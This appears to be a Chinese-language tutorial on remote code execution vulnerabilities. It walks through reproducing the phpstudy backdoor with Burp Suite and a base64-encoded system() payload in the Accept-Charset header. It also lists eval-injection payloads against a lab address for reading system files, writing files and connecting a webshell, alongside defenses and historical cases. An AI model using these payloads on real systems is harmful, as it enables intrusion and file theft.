RCE 漏洞
1.漏洞描述
-
Remote Command/Code Execute
-
远程命令执行/远程代码执行漏洞
-
这种漏洞通常出现在应用程序或操作系统中,攻击者可以通过利用漏洞注入恶意代码,并在受攻击的系统上执行任意命令。
2.漏洞场景
- PHP 代码执行
- PHP 代码注入
- OS 命令执行
- OS 命令注入
- Java、Python……
- Web 应用程序
- 远程服务
- 操作系统漏洞
3.漏洞原理
传入 PHP 代码执行函数的变量,客户端可控,并且没有做严格的过滤。那么攻击者可以随意输入(注入,注射,Inject)想要执行的代码,并且在服务器端执行。如果代码在服务器端执行成功,就认为存在 PHP 代码注入漏洞,也就是 RCE。
4.漏洞危害
继承当前用户权限:
- GetShell,执行代码或命令。
- 读写文件。
- 反弹Shell。
- 控制网站。
- 控制系统。
5.漏洞评级
RCE漏洞通常被评级为高危或严重的漏洞,因为其危害性较大,能够导致系统完全被攻击者控制。
6.漏洞验证
-
phpstudy_2016-2018_rce_backdoor 漏洞复现
-
打开 bp
-
打开代理浏览器
-
访问 php 页面
-
回到 bp
查看 http 历史,找到刚刚访问的 php 页面
-
发送到 Repeater
-
转到 Repeater
-
php 页面请求内容加
Accept-Charset:
-
修改 Accept-Encoding,删除 deflate 前的空格
Accept-Encoding: gzip,deflate
-
将要执行的命令写入到 system(“”) 中如
system("whoami");
-
Decoder 模块 base64 编码
# 对 system("whoami") 编码 c3lzdGVtKCJ3aG9hbWkiKTs=
-
将编码放到
Accept-Charset:
后Accept-Charset: c3lzdGVtKCJ3aG9hbWkiKTs=
-
点击 Send 发送
-
查看返回的数据
-
成功回显执行的命令
7.漏洞利用
代码执行漏洞的利用方式有很多种。
获取Shell,蚁剑可以直接连接。
shell: http://10.4.7.187/php/functions/eval.php
pass: code
获取当前文件的绝对路径。
?code=print(__FILE__);
读文件。
?code=print(file_get_contents('eval.php'));
?code=print(file_get_contents('c:/windows/system32/drivers/etc/hosts'));
写文件。
?code=file_put_contents('shell.php','<?php phpinfo();?>');
?code=file_put_contents(要写入的文件,要写入的内容)
8.漏洞防御
- 尽量避免使用危险函数
- 对用户输入的数据进行严格的验证和过滤,确保只接受预期的输入。
- 限制应用程序或系统的权限,确保用户或攻击者无法执行危险的操作。
- 及时更新和修复应用程序、操作系统和依赖库中的漏洞,以减少攻击面。
- 输入验证、输出转义、防止代码注入等。
9.典型案例
- 2017年Equifax数据泄露事件:攻击者利用RCE漏洞入侵了Equifax的服务器,窃取了超过1亿个消费者的敏感信息。
- 2014年Shellshock漏洞:Shellshock是一个影响Bash(Unix和Linux操作系统中的一种Shell)的RCE漏洞,攻击者可以通过恶意环境变量注入恶意代码并执行任意命令。
- 2010年Stuxnet蠕虫:Stuxnet是一种利用RCE漏洞的恶意软件,攻击了伊朗的核设施,导致严重的设备损坏。